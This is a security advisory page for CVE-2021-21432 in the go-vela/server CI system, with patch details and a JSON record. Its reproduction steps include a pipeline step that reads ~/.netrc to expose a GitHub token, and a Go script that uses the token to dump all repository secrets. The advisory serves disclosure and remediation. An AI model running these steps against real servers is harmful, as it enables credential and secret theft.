GHSA-8J3F-MHQ8-GMH4

Vulnerability from github – Published: 2022-02-15 01:57 – Updated: 2022-08-15 20:02
VLAI?
Summary
Reject unauthorized access with GitHub PATs
Details

Impact

What kind of vulnerability is it? Who is impacted?

The additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the ~/.netrc file. Steps to reproduce

  1. Create Vela server
  2. Login to Vela UI
  3. Promote yourself to Vela administrator
    • UPDATE users SET admin = 't' WHERE name = <username>
  4. Activate repository within Vela
  5. Add .vela.yml to the repository with the following content

    ```yaml version: "1"

    steps: - name: steal image: alpine commands: - cat ~/.netrc ```

  6. Look at build logs to find the following content

    $ cat ~/.netrc machine <GITHUB URL> login x-oauth-basic password <token>

  7. Copy the password to be utilized in some later step

  8. Add secret(s) to activated repo
  9. Copy the following script into main.go

    ```golang package main

    import ( "fmt" "github.com/go-vela/sdk-go/vela" "os" )

    func main() { // create client to connect to vela client, err := vela.NewClient(os.Getenv("VELA_SERVER_ADDR"), "vela", nil) if err != nil { panic(err) }

    // add PAT to request
    client.Authentication.SetPersonalAccessTokenAuth(os.Getenv("VELA_TOKEN"))
    
    secrets, _, err := client.Admin.Secret.GetAll(&vela.ListOptions{})
    if err != nil {
        panic(err)
    }
    
    for _, secret := range *secrets {
        fmt.Println(*secret.Name)
        fmt.Println(*secret.Value)
    }
    

    } ```

  10. Run the main.go with environment specific settings

  11. VELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=<token obtained previously> go run main.go

The previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.

Patches

Has the problem been patched? What versions should users upgrade to?

  • Upgrade to v0.7.5 or later

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

  • No known workarounds

References

Are there any links users can visit to find out more?

  • https://github.com/go-vela/server/pull/246
  • https://docs.github.com/en/enterprise-server@3.0/rest/reference/apps#check-a-token

For more information

If you have any questions or comments about this advisory

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/go-vela/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.7.0"
            },
            {
              "fixed": "0.7.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-21432"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-20T20:12:26Z",
    "nvd_published_at": "2021-04-09T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nThe additional auth mechanism added within https://github.com/go-vela/server/pull/246 enables some malicious user to obtain secrets utilizing the injected credentials within the `~/.netrc` file. Steps to reproduce\n\n1. Create Vela server\n2. Login to Vela UI\n3. Promote yourself to Vela administrator \n    - `UPDATE users SET admin = \u0027t\u0027 WHERE name = \u003cusername\u003e`\n4. Activate repository within Vela\n5. Add `.vela.yml` to the repository with the following content\n\n    \n    ```yaml\n    version: \"1\"\n    \n    steps:\n    - name: steal\n      image: alpine\n      commands:\n        - cat ~/.netrc\n    ```\n\n1. Look at build logs to find the following content\n\n    ```\n    $ cat ~/.netrc\n    machine \u003cGITHUB URL\u003e\n    login x-oauth-basic\n    password \u003ctoken\u003e\n    ```\n\n1. Copy the password to be utilized in some later step\n1. Add secret(s) to activated repo\n1. Copy the following script into `main.go`\n\n    ```golang\n    package main\n    \n    import (\n\t    \"fmt\"\n\t    \"github.com/go-vela/sdk-go/vela\"\n\t    \"os\"\n    )\n    \n    func main() {\n\t    // create client to connect to vela\n\t    client, err := vela.NewClient(os.Getenv(\"VELA_SERVER_ADDR\"), \"vela\", nil)\n\t    if err != nil {\n\t\t    panic(err)\n\t    }\n    \n\t    // add PAT to request\n\t    client.Authentication.SetPersonalAccessTokenAuth(os.Getenv(\"VELA_TOKEN\"))\n    \n    \n\t    secrets, _, err := client.Admin.Secret.GetAll(\u0026vela.ListOptions{})\n\t    if err != nil {\n\t\t    panic(err)\n\t    }\n    \n\t    for _, secret := range *secrets {\n\t\t    fmt.Println(*secret.Name)\n\t\t    fmt.Println(*secret.Value)\n\t    }\n    }\n    ```\n\n1. Run the `main.go` with environment specific settings\n   - `VELA_SERVER_ADDR=http://localhost:8080 VELA_TOKEN=\u003ctoken obtained previously\u003e go run main.go`\n\nThe previously posted script could be updated to utilize any API endpoint(s) the activated user has access against.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\n* Upgrade to `v0.7.5` or later\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\n* No known workarounds\n\n### References\n_Are there any links users can visit to find out more?_\n\n* https://github.com/go-vela/server/pull/246\n* https://docs.github.com/en/enterprise-server@3.0/rest/reference/apps#check-a-token\n\n### For more information\nIf you have any questions or comments about this advisory\n\n* Email us at [vela@target.com](mailto:vela@target.com)",
  "id": "GHSA-8j3f-mhq8-gmh4",
  "modified": "2022-08-15T20:02:53Z",
  "published": "2022-02-15T01:57:18Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vela/server/security/advisories/GHSA-8j3f-mhq8-gmh4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21432"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vela/server/pull/337"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vela/server/commit/cb4352918b8ecace9fe969b90404d337b0744d46"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vela/server"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vela/server/releases/tag/v0.7.5"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/github.com/go-vela/server"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Reject unauthorized access with GitHub PATs"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…